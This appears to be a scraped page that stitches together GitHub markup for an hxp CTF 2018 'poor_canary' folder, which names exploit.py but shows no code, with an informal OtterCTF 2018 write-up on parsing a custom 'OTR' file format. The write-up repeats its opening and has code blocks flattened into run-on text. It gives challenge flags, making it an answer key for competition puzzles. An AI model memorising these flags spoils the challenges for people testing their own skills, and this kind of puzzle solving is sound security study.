Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/hxp%20CTF%202018/poor_canary","user_id":null}}" data-hydro-click-hmac="5a3707fdc78cc008c928b3936012ab582ef697578d5de91a5fbec35ffdb19484"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>hxp CTF 2018</span></span><span>/</span>poor_canary<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>hxp CTF 2018</span></span><span>/</span>poor_canary<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/hxp%20CTF%202018/poor_canary" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/hxp%20CTF%202018/poor_canary"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/OtterSilence/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/OtterSilence/readme.md) |
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/MsgMeThis/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/MsgMeThis/readme.md) |
# Otter CTF
I had a blast participating in otter ctf last weekend. I think the challenges are still up at [https://otterctf.com/](https://otterctf.com/)
# OTR 1 - Find The Lutra```OTR 1 - Find The Lutra100Rick created this new format of file called OTR (stands for otter). Help us find all the hidden data in this massive zip file.
We found a diagram of the structure, we hope it will help.
Your first mission is to find the name of the file who has a section named lutra in leet.
format: CTF{flag}```
Weird format. I had to understand this weird format. Well i had some time to spare and it looked like lots of fun. so I dug in.
magic header, number of sections. you get all that jazz. ez. (check out parse.py) but i got stuck on the sections. because at first I tought that the length was wrong. somehow. so i coded a part where I was looking for the `\x00` padding.
mhhm i can explain it better with an image. look down
```bashxxd otr/00284fd21810fdc4bb3e3b1440e85d8e.otr | head -n 20```
- Section Name: alphanumeric with `\x00` padding- Data Length: little endian format. `e8020000` => `0xe8 + 0x02 * 0x100 = 744`- CRC32: actually this had two formats. `686b7560 01000000` and `686b7560 00000000`. `crc32_type1 == -zlib.crc32(data) and crc32_type0 == 0x10000000 - zlib.crc32(data)`- Uppercase flag: i named it header in `parse.py`.- data: base64 for all sections except for `OTHER`. used the magical `if`
we had this section for otr7```'name': 'OTHER\x00\x00\x00','crc32': 408173329,'crc32_type': 1,'uppercase_flag': '\x82I\x00','data': 'wh3r3_is_my_plum8u5\x00\x00\x00\x00\x00'```
the uppercase flag is `\x82I\x00` which is equal to `10000010 01001001 00000000`
```100000100100100100000000wh3r3_is_my_plum8u5------------------------Wh3r3_Is_My_PluM8u5```
tadaa. uppercase flag decryptor. ok general overview is over.
to solve this task, i actually wasn't able to decode the format (yet). but i understood how the section name was formed. task description said " look for lutra in leet". so in this case it would be "lutra\x00\x00\x00". 3 null bytes padding. used a hamming distance to check (maybe it still has u or r). also checked if it printable and that the length should be > 0. found it quickly enough by analyzing the found names.
```bash$ python2 solve1.py...otr/1275046872ee1058329b79438b14b5dc.otr Rhprotr/1275046872ee1058329b79438b14b5dc.otr vuMQfotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr OXtmaotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Dftiotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr lkwHotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Rztyotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr kUerlotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr XbHrhotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr nuy=otr/a358f694d1e5113ccd1a9ad7f1385549.otr Lu7r4otr/bf6782f225c82a4906075c1fb1842b51.otr FKtMgotr/bf6782f225c82a4906075c1fb1842b51.otr JUyFaotr/bf6782f225c82a4906075c1fb1842b51.otr bvcrotr/2701a122bbae3770daac5460683b1e30.otr aupootr/2701a122bbae3770daac5460683b1e30.otr NAtJ...$ # CTF{a358f694d1e5113ccd1a9ad7f1385549}```
# OTR 6 - The Path To Rick```OTR 6 - The Path To Rick150Rick hid his drive path in one of the sections - we got some intel and found out his drive is N:. Whats the section name where the data is hidden?
format: CTF{flag}```
NO WAY IT WAS SOLVED WITH THAT BASH SCRIPT BELOW. well yes. and it helped me to understand the format better. here is where i got the idea that `len(uppercase_flag) == len(data)/8` and after a bit i understood how to decrypt it. by just watching the logs form. lots of logs on this one :))
also if you want to see a failed try, check the `main.py`. i first thought the drive path would be in the data segment. no way it would be in the `uppercase_flag`.
```bashfor v in `grep -r 'N\:' otr | awk '{print $3}'`; do echo $v xxd $v | grep -C10 'N:' echodone```
# OTR 5 - Wrong Place, Wrong Time```OTR 5 - Wrong Place, Wrong Time100One of the files got the wrong time of creation. What is the wrong date?
If you extracted the files from the zip use modified time instead.
format: CTF{HH:MM:SS DD/MM/YYYY at Jerusalem local time}```
this took me a bit to figure out. the thing is, some do differ in creation time by 1 second. i had to rule that out. and others by 3600 seconds. ruling that out too. then some by 3601. finally i got the flag.
```bash$ python2 solve5.py...1270 otr/a903e65bd79e3c2cdbcbf5cc51478147.otr1271 otr/44b2f36604d1ca6ff7f0d6b46f95c85d.otr44b2f36604d1ca6ff7f0d6b46f95c85dCTF{08:27:12 15/08/1995}
```
# OTR 7 - Wrong Calculation```OTR 7 - Wrong Calculation100FInd the description of the file with the wrong md5. The flag is case sensitive so you got to use the "uppercase flag" in order to get the correct answer.
format: CTF{flag}```
explanation way above for the uppercase decryption. also in source of solve.py
```bash$ python2 solve.py...642 otr/e3c991061dcd0add2f669be17bf8539d.otre3c991061dcd0add2f669be17bf8539d{'header_length': 3, 'name': 'OTHER\x00\x00\x00', 'data_length': 24, 'length': 47, 'header': '\x82I\x00', 'actual_crc32': 408173329, 'crc32': 408173329, 'crc32_type': 1, 'data': 'Wh3r3_Is_My_PluM8u5\x00\x00\x00\x00\x00'}```
# OTR 2 - Incorrect CRC```OTR 2 - Incorrect CRC150Second mission: Rick copied the CRC of one of the sections in a certain file to another section. What is the name of the original section with the right CRC?
format: CTF{flag}```
I wish my solution was as slick as the solution shown below. First of all, I was under the impression that Rick copied the CRC of one of the sections in the same file. So I put up some asserts and when it raised, I checked the file. No luck, both times, because the crc was from another file. That was my next tought, so i just searched for the crc in all files.
```bash$ python2 solve2.py0got otr/e0e4b95aac5365c800f304a31985889a.otr[*] crc32 data: c7c455e1[*] actual crc32: a6688248
100200300400500600700got otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr[*] crc32 data: f8ad0ba4[*] actual crc32: b8cfe1ab
8009001000110012001300140095 otr/724e1a24829f6132086473a41ff5ba51.otrrryt\x00\x00\x00\x00
688 otr/724e1a24829f6132086473a41ff5ba51.otrM0r7y9uy
728 otr/724e1a24829f6132086473a41ff5ba51.otrWSkr\x00\x00\x00\x00$ # CTF{M0r7y9uy}```
# OTR 3 - Up And Down```OTR 3 - Up And Down200Rick hid some data in the lower\upper part of a section, but that fucked up the real data, could you find it?```
I was hoping to solve OTR4 by doing this. So I decrypted everything and put it in folders. it's quite fast. because i can use grep easily on them. no OTR4 but looking at the task description for this one i got the idea that the section might look weird ("that fucked up the real data"). so i went searching for anything out of the ordinary and got lucky to find just one file with non printable characters.
```bash$ python2 solve4.py$ grep '[^[:print:]]' -r decodedBinary file decoded/d6a4a2ebd4f6418c3b064de26cc06a12/3_WSkr matches$ xxd ./otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr | grep -A20 WSkr00000da0: 0057 536b 7200 0000 00c0 0400 00a4 0bad .WSkr...........00000db0: f800 0000 00fc fecf ce3c eba2 f6ae ceee .........<......00000dc0: f80e 9eac ecee beee ee7c e82e ffea fcee .........|......00000dd0: 0fb8 6ccc 4300 0054 0000 4600 007b 0000 ..l.C..T..F..{..00000de0: 4400 0030 0000 7500 0062 0000 6c00 0065 D..0..u..b..l..e00000df0: 0000 5f00 0050 0000 3400 0064 0000 4400 .._..P..4..d..D.00000e00: 0021 0000 6e00 0039 0000 5f00 0046 0000 .!..n..9.._..F..00000e10: 5400 0057 0000 2100 007d 0000 4c8e bf9e T..W..!..}..L...00000e20: 335f f662 eaad 6fd4 acea dead 2200 8c72 3_.b..o....."..r00000e30: a6ee 0e6c d97c 6b3f 653b ee22 eacd faea ...l.|k?e;."....00000e40: 6efc 2f0a fe3f 3dfd 7c4e 2eaf 6c6f 6476 n./..?=.|N..lodv00000e50: 7077 756f 2f69 6472 6776 6866 6a6f 6468 pwuo/idrgvhfjodh00000e60: 767a 7362 6576 7777 2f69 6772 7264 7962 vzsbevww/igrrdyb00000e70: 6569 6573 2f72 787a 7573 317a 6f72 7a76 eies/rxzus1zorzv00000e80: 3264 7962 3069 6362 6c65 6362 7571 6a6a 2dyb0icblecbuqjj00000e90: 3172 7361 317a 656f 6775 7771 676f 6765 1rsa1zeoguwqgoge00000ea0: 6769 6861 6775 7476 6f7a 6c6b 6763 6d67 gihagutvozlkgcmg00000eb0: 676a 6672 3579 3064 7669 6365 7973 7962 gjfr5y0dviceysyb00000ec0: 7269 6667 6769 6361 7771 7438 6769 6475 rifggicawqt8gidu00000ed0: 6769 6362 6b75 6e72 6873 6679 3169 666a gicbkunrhsfy1ifj00000ee0: 7869 687a 756e 7679 337a 7361 2f61 6466 xihzunvy3zsa/adf$ # CTF{D0uble_P4dD!n9_FTW!}```
# OTR 4 - Citadel Of Ricks Location```OTR 4 - Citadel Of Ricks Location300Rick hid the coordinates of the Citadel Of Ricks in the data section of some file. You will need to use the Uppercase flag to decrypt it.
What is the cover name of the citadel?
format: CTF{flag}```
if you solved it, please hit me up. i offer beer in exchange of a writeup. |
# Otter CTF
I had a blast participating in otter ctf last weekend. I think the challenges are still up at [https://otterctf.com/](https://otterctf.com/)
# OTR 1 - Find The Lutra```OTR 1 - Find The Lutra100Rick created this new format of file called OTR (stands for otter). Help us find all the hidden data in this massive zip file.
We found a diagram of the structure, we hope it will help.
Your first mission is to find the name of the file who has a section named lutra in leet.
format: CTF{flag}```
Weird format. I had to understand this weird format. Well i had some time to spare and it looked like lots of fun. so I dug in.
magic header, number of sections. you get all that jazz. ez. (check out parse.py) but i got stuck on the sections. because at first I tought that the length was wrong. somehow. so i coded a part where I was looking for the `\x00` padding.
mhhm i can explain it better with an image. look down
```bashxxd otr/00284fd21810fdc4bb3e3b1440e85d8e.otr | head -n 20```
